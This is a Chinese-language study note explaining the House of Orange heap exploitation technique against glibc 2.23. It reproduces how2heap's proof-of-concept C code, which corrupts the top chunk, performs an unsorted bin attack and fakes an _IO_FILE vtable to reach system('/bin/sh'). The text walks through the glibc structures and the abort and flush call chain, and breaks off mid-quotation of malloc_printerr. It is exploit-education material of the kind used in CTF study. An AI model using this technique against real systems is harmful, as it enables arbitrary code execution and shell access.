House_of_orange学习小结
house_of_orange最早出现在2016年hitcon的一道同名题目,其利用效果,是当程序没有free函数的时候,我们可以通过一些方法,来让chunk被填入unsortbin中,成为一块被free的chunk,然后通过对_IO_FILE_plus.vtable的攻击,达到getshell的目的。
例子
以how2heap中的house_of_orange为例,来分析house_of_orange的利用过程,libc版本为2.23。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int winner ( char *ptr);
int main()
{
char *p1, *p2;
size_t io_list_all, *top;
fprintf(stderr, "The attack vector of this technique was removed by changing the behavior of malloc_printerr, "
"which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).
");
fprintf(stderr, "Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit,"
"https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51
");
/*
Firstly, lets allocate a chunk on the heap.
*/
p1 = malloc(0x400-16);
top = (size_t *) ( (char *) p1 + 0x400 - 16);
top[1] = 0xc01;
p2 = malloc(0x1000);
io_list_all = top[2] + 0x9a8;
top[3] = io_list_all - 0x10;
/*
At the end, the system function will be invoked with the pointer to this file pointer.
If we fill the first 8 bytes with /bin/sh, it is equivalent to system(/bin/sh)
*/
memcpy( ( char *) top, "/bin/shx00", 8);
top[1] = 0x61;
FILE *fp = (FILE *) top;
/*
1. Set mode to 0: fp->_mode <= 0
*/
fp->_mode = 0; // top+0xc0
/*
2. Set write_base to 2 and write_ptr to 3: fp->_IO_write_ptr > fp->_IO_write_base
*/
fp->_IO_write_base = (char *) 2; // top+0x20
fp->_IO_write_ptr = (char *) 3; // top+0x28
/*
4) Finally set the jump table to controlled memory and place system there.
The jump table pointer is right after the FILE struct:
base_address+sizeof(FILE) = jump_table
4-a) _IO_OVERFLOW calls the ptr at offset 3: jump_table+0x18 == winner
*/
size_t *jump_table = &top[12]; // controlled memory
jump_table[3] = (size_t) &winner;
*(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; // top+0xd8
/* Finally, trigger the whole chain by calling malloc */
malloc(10);
/*
The libc's error message will be printed to the screen
But you'll get a shell anyways.
*/
return 0;
}
int winner(char *ptr)
{
system(ptr);
return 0;
}
step1: fake _free_chunk
程序中,首先开辟了一块0x400大小的chunk。
p1 = malloc(0x400-16);
申请到的chunk和top chunk紧邻,我们再解释一下top chunk。
glibc为了减少内存开销,top chunk相当于提前分配出来的一块内存池,然后以后申请比较小的chunk时,直接从top chunk中进行申请。如果没有top chunk,每次申请堆块都要从内存中直接申请,内存的开销就会非常大。当top chunk不够用的时候,glibc就要通过brk再次切割一块内存到heap段,或者用mmap的方式从内存中再次映射出一块内存到进程中。
我们现在申请出了一块大小为0x400的chunk,这时候,假设我们存在一个堆溢出,可以修改到top chunk的size域。
top = (size_t *) ( (char *) p1 + 0x400 - 16);
top[1] = 0xc01;
可以看到,top chunk的size域被修改了。由于内存映射的时候,是以内存页的形式进行映射的,内存页的大小就是0x1000字节,所以在本例中,溢出修改top chunk的size域的时候,大小只能修改为0xc00,0x1c00,0x2c00等等。修改完top chunk的size域之后,申请一块大于0xc00大小的chunk。
p2 = malloc(0x1000);
这时候,old top chunk就被释放到了unsortedbin中,heap段也进行了brk拓展。
如果开始不修改top chunk的size域大小的话,glibc会通过mmap直接从内存中映射出一块内存地址,这时候无法达到fake free的效果。
将chunk填入unsortedbin之后,就要用到unsortedbin attack和_IO_FILE_的一些知识来进行后续的利用了。
step2:FSOP
FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建,并分配在堆中。我们常定义一个指向 FILE 结构的指针来接收这个返回值。FILE结构体是包裹在_IO_FILE_plus中的,两个结构体定义如下:
struct _IO_FILE_plus
{
_IO_FILE file;
IO_jump_t *vtable;
}
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
进程中的FILE结构会通过_chain域彼此连接形成一个链表,链表头部用全局变量_IO_list_all表示,通过这个值可以遍历所有的FILE结构。包裹_IO_FILE结构的_IO_FILE_plus中,有一个重要的指针vtable,vtable指向了一系列处理_IO_FILE文件流的函数指针。实际上所有针对_IO_FILE_的攻击都是通过修改或者伪造vtable中的函数指针来实现的,因为类似fopen,fread,fwrite,printf,exit,malloc_printerr等对文件流进行操作的函数,最终的函数调用路径都会指向_IO_FILE_plus.vtable上的函数指针。
vtable指向的跳转表是一种兼容C++虚函数的实现。当程序对某个流进行操作的时候,会调用该流对应的跳转表中的某个函数,_IO_jump_t 结构体如下所示:
//glibc-2.23 ./libio/libioP.h
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};
house_of_orange.c中通过偏移来确定了io_list_all的值,即main_arena+88与io_list_all的偏移相差0x9a8字节。
io_list_all = top[2] + 0x9a8;
top[3] = io_list_all - 0x10;
top在前面被定义为了old top chunk的地址,这里top[2]的值就是unsortedbin中fd指针的值。
top[2]+0x9a8的地址处,就是全局变量_IO_list_all的地址,修改unsortedbin chunk的bk指针为_IO_list_all的值如图所示。
在本例中,最终实现攻击的大致思路如下:glibc中定义了打印内存报错信息的函数malloc_printerr,malloc_printerr中实际起作用的是__libc_message函数中定义了abort函数,abort函数在中止进程的时候,会调用_IO_flush_all_lockp遍历刷新所有的文件流,然后会调用_IO_FILE_plus.vtable中的_IO_OVERFLOW函数处理_IO_FILE结构体指针fp。我们在堆区伪造一个_IO_FILE_plus结构体,_IO_FILE_plus.vtable中_IO_OVERFLOW的函数指针修改为system函数地址,_IO_FILE结构体0字节偏移处改写为"sh"或者“/bin/sh”,这时候_IO_OVERFLOW(fp,EOF)就相当于调用system("/bin/sh")。
malloc_printerr函数调用链和具体代码实现如下:
malloc_printerr --> __libc_message --> abort --> _IO_flush_all_lockp --> _IO_OVERFLOW
malloc_printerr函数定义在malloc.c中,malloc_printerr中真正起作用的函数,是__libc_message,__libc_message函数被定义在libc_fatal.c中。
static void
malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr)
{
/* Avoid using this arena in future. We do not attempt to synchronize this
with anything else because we minimally want to ensure that __libc_message
gets its resources safely without stumbling on the current corruption. */
if (ar_ptr)
set_arena_corrupt (ar_ptr);
if ((action & 5) == 5)
__libc_message (action & 2, "%s
", str);
else if (action & 1)
{
char buf[2 * sizeof (uintptr_t) + 1];
buf[sizeof (buf) - 1] = '